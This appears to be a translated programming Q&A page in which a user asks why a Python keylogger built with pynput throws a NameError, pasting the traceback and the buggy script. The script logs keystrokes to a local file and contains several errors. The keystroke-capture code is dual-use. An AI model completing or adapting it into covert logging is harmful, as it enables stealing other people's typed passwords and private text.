回答此问题可获得 20 贡献值,回答如果被采纳可获得 50 分。
<div>
</div>
<p>我一直在尝试制作一个键盘记录器,但在运行脚本时在python中出现了这个错误</p>
<blockquote>
<p>File "C:\Users\David\AppData\Roaming\Python\Python39\site-packages\pynput_util_<em>init</em>_.py", line 211, in inner
return f(self, *args, **kwargs)
File "C:\Users\David\AppData\Roaming\Python\Python39\site-packages\pynput\keyboard_win32.py", line 280, in <em>process
self.on_press(key)
File "C:\Users\David\AppData\Roaming\Python\Python39\site-packages\pynput_util_<em>init</em></em>.py", line 127, in inner
if f(*args) is False:
File "C:\Users\David\Desktop\TESTING\keylogger\main.py", line 16, in on_press
keys.append(str(key))
NameError: name 'keys' is not defined
Traceback (most recent call last):
File "C:\Users\David\Desktop\TESTING\keylogger\main.py", line 43, in
listener.join()
File "C:\Users\David\AppData\Roaming\Python\Python39\site-packages\pynput_util_<em>init</em>_.py", line 259, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\David\AppData\Roaming\Python\Python39\site-packages\six.py", line 702, in reraise
raise value.with_traceback(tb)
File "C:\Users\David\AppData\Roaming\Python\Python39\site-packages\pynput_util_<em>init</em>_.py", line 211, in inner
return f(self, *args, **kwargs)
File "C:\Users\David\AppData\Roaming\Python\Python39\site-packages\pynput\keyboard_win32.py", line 280, in <em>process
self.on_press(key)
File "C:\Users\David\AppData\Roaming\Python\Python39\site-packages\pynput_util_<em>init</em></em>.py", line 127, in inner
if f(*args) is False:
File "C:\Users\David\Desktop\TESTING\keylogger\main.py", line 16, in on_press
keys.append(str(key))
NameError: name 'keys' is not defined
[Finished in 0.614s]</p>
</blockquote>
<p>我不知道如何解决这个问题,我已经用pip安装pyinput安装了pyinput,但仍然无法工作:/</p>
<hr/>
<p>代码:</p>
<pre><code> import pynput
from pynput.keyboard import Key, Listener
count = 0
key = []
def on_press(key):
global keys, count
keys.append(str(key))
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys = ()
def write_file(keys):
with open("log.txt", "w" & "a") as f:
for key in keys:
k = str(key).replace("'","")
f.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
</code></pre>
<hr/>
<p>感谢您的帮助</p>